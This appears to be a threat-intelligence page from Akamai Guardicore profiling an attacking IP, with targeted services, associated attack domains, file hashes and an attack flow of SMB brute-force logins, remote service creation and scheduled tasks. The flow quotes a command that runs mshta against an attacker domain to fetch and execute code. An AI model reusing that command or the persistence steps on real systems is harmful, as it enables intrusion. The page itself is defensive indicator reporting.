Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 223.100.22.69Malicious

IP Address: 223.100.22.69Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Brute Force Access Suspicious Domain Access Share Execute from Share Download File CMD Download and Execute Service Stop Service Deletion SMB Share Connect Service Creation Scheduled Task Creation Service Start SMB Successful SMB Login MSSQL DNS Query File Operation By CMD SMB Null Session Login

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

223.100.22.69

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-06-27

Last seen in Akamai Guardicore Segmentation

2024-08-27

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\cDQKbPKb.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\cdqkbpkb.exe as a service named jBaP under service group None

Service Creation Service Start

cdqkbpkb.exe was executed from the remote share \\server-backup\c$

Execute from Share

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\HWqqxZXf.exe was downloaded

Download File

hwqqxzxf.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\hwqqxzxf.exe as a service named SRXy under service group None

Service Creation Service Start

C:\windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service SRXy was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line c:\windows\XXlYSk.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The file C:\WINDOWS\phzBU.exe was downloaded and executed

Download and Execute

The command line c:\windows\phzBU.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

gfxebjbf.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\gfxebjbf.exe as a service named rdBB under service group None

Service Creation Service Start

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service rdBB was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\WINDOWS\phzBU.exe

SHA256: 0722a8f7ad303e2b5fa1665ea4d73bf46a1a8872021a466e49dea1bcf0918f3a

260010 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 0739538b9a7b2a9f61608b63b3edbc7410e2620f17af862678ca3a36746cd7ab

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 0752309d581b9eb202385244c7a8748af6d7349e5f416f971ea1c147adef293d

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 0c12253e92b5c0daa1ea0f9527272552b56b3d3dfc5e4e57cbf80a0c68593fb9

65000 bytes

C:\Windows\temp\svchost.exe

SHA256: 0ecbe0acb6017fa448a75c62081eb81a3b700f211527497e0f1a2ea57455a199

1365000 bytes

C:\windows\temp\svchost.exe

SHA256: 0f30d2f2dcf34018455310693811ec77a668e22ed24d6799f9358c6abab2c183

2665000 bytes

C:\WziSRhib.exe

SHA256: 0fbc405840eb0587e261cd5c9d6ddd1324a8cfecbe2ac16062927ca65eac2981

56320 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 10ae47a74d244d005459865ca6874200c16070099473c0ea40aec843e9dc7951

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 11cc3c15d1fc548a7d513e28abdce307c1dc6ecbeb3b961bee52dbe0343ea531

1235000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 12876e23cd4e162367429c16ec1798cc8609313bdf86d1ec4caf53711af49ddb

65000 bytes

C:\WINDOWS\temp\svchost.exe

SHA256: 131f9bb9a4f81ca862f39283045cb962371f2d8a30f9592cb908738e6ac6b2ee

130000 bytes

C:\BiurUCRg.exe

SHA256: 1456416c96b2ad778e3fd89f3af86a5c22951e4a8e94daa8a2d9c7798880512e

56320 bytes